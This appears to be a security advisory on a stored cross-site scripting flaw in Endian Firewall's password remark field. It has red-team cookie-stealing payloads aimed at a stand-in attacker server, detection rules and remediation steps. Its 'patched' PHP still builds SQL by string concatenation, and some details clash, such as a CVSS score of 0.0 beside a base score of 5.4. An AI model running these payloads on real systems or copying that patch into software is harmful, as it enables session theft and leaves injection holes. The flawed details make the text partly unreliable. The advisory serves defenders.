CVE-2026-34823

Executive Summary

CVE-2026-34823 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in the /manage/password/web/ endpoint. The injected script is stored on the server and executed when other authenticated users view the affected page. This vulnerability allows for session hijacking, credential theft, and further lateral movement within the Endian Firewall management interface. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom web application vulnerability within the Endian Firewall product.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 5.4)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Requires authenticated user
• User Interaction: Required (UI:R) - Victim must view the page
• Scope: Changed (S:C) - Impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• Threat Level: Medium. While the CVSS base score is moderate, the stored nature of the XSS and the potential for privilege escalation within the firewall management interface elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the password management web interface at /manage/password/web/. The remark parameter is used to store user-supplied text associated with a password entry. The application fails to sanitize or encode this input before storing it in the backend database and later rendering it in the HTML response.

Attack Flow:

1. An authenticated attacker navigates to /manage/password/web/ and creates or edits a password entry.
2. The attacker injects a malicious payload into the remark field, e.g., <script>alert(document.cookie)</script>.
3. The application stores the payload in the database without sanitization.
4. When another authenticated user (or the same user) views the password list or the specific entry, the stored payload is rendered in the HTML.
5. The victim's browser executes the injected JavaScript, which can:
   • Steal session cookies (document.cookie).
   • Perform actions on behalf of the victim (CSRF).
   • Redirect to a phishing page.
   • Exfiltrate sensitive data from the page.

Root Cause: Lack of output encoding and input validation on the remark parameter. The application likely uses a templating engine that does not auto-escape HTML entities, or the developer explicitly disabled escaping for this field.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores and outputs user input
$remark = $_POST['remark'];
$db->query("INSERT INTO passwords (remark) VALUES ('$remark')");
// Later in the view:
echo "<td>" . $row['remark'] . "</td>";

Patched Code (Conceptual):

// Patched: Sanitize input and encode output
$remark = htmlspecialchars($_POST['remark'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO passwords (remark) VALUES ('$remark')");
// Or use prepared statements:
$stmt = $db->prepare("INSERT INTO passwords (remark) VALUES (?)");
$stmt->bind_param("s", $remark);
$stmt->execute();
// In the view:
echo "<td>" . htmlspecialchars($row['remark'], ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Endian Firewall 3.3.25 in a virtualized environment (e.g., VMware, VirtualBox).
2. Create two user accounts: attacker (with password management privileges) and victim (standard user).
3. Ensure both users can access the web interface.

Exploitation Steps:

1. Log in as attacker.
2. Navigate to /manage/password/web/.
3. Create a new password entry or edit an existing one.
4. In the remark field, inject the following payload:

   <script>fetch('https://attacker-controlled-server/steal?cookie='+document.cookie)</script>
   

5. Save the entry.
6. Log in as victim and navigate to the same password list page.
7. The victim's browser will execute the script, sending their session cookie to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker-controlled-server/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({cookie: document.cookie, url: window.location.href}));
</script>

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious remark parameters containing <script>, <img>, or other HTML tags.
2. Look for outbound connections from the Endian Firewall to unknown external IPs on ports 80/443.
3. Review database entries in the password table for unusual characters in the remark column.
4. Check for unexpected JavaScript execution in the browser console of administrators.

Hunting Query (Splunk):

index=web_logs source="/manage/password/web/*"
| rex field=uri "remark=(?<remark>.*)"
| where match(remark, "<script|<img|onerror|onload|javascript:")
| table _time, src_ip, user, remark

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests to attacker-controlled domains from the Endian Firewall.
  • Unusual Referer headers pointing to /manage/password/web/.
• File IOCs:
  • Modified database entries in the password table containing HTML/JavaScript.
• Log IOCs:
  • Web server logs showing remark parameters with <script> tags.
  • Authentication logs showing multiple users accessing the same password entry.
• Behavioral IOCs:
  • Unexpected redirects to external sites after viewing password entries.
  • Unexplained changes to firewall rules or user accounts.

Detection Engineering

YARA Rule

rule CVE_2026_34823_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall password remarks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-34823"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2026-34823 - Stored XSS in Endian Firewall Password Remarks
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS via the remark parameter in Endian Firewall
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/manage/password/web/"
        cs-uri-query|contains|all:
            - "remark="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34823 - Stored XSS Payload in Endian Firewall Remark"; flow:to_server,established; content:"/manage/password/web/"; http_uri; content:"remark="; http_uri; pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Endian Firewall management interface from untrusted networks (e.g., place it behind a VPN or dedicated management VLAN).
2. Restrict access to the /manage/password/web/ endpoint to only trusted IP addresses.
3. Implement a Web Application Firewall (WAF) rule to block requests containing <script> or other HTML tags in the remark parameter.
4. Audit all existing password entries for signs of XSS injection.

Long-Term Fix:

1. Apply input validation: Reject any remark input containing HTML tags or special characters.
2. Use output encoding: Encode all user-supplied data before rendering in HTML (e.g., htmlspecialchars() in PHP).
3. Implement Content Security Policy (CSP): Add a strict CSP header to prevent inline script execution.
4. Upgrade to a patched version once Endian releases a security update.

Workaround:

• Disable the password remark feature entirely by modifying the application code or database schema to ignore the remark field.

Valters IT

{/* [Security Hash: 602D019634328F3429C39C1A] */}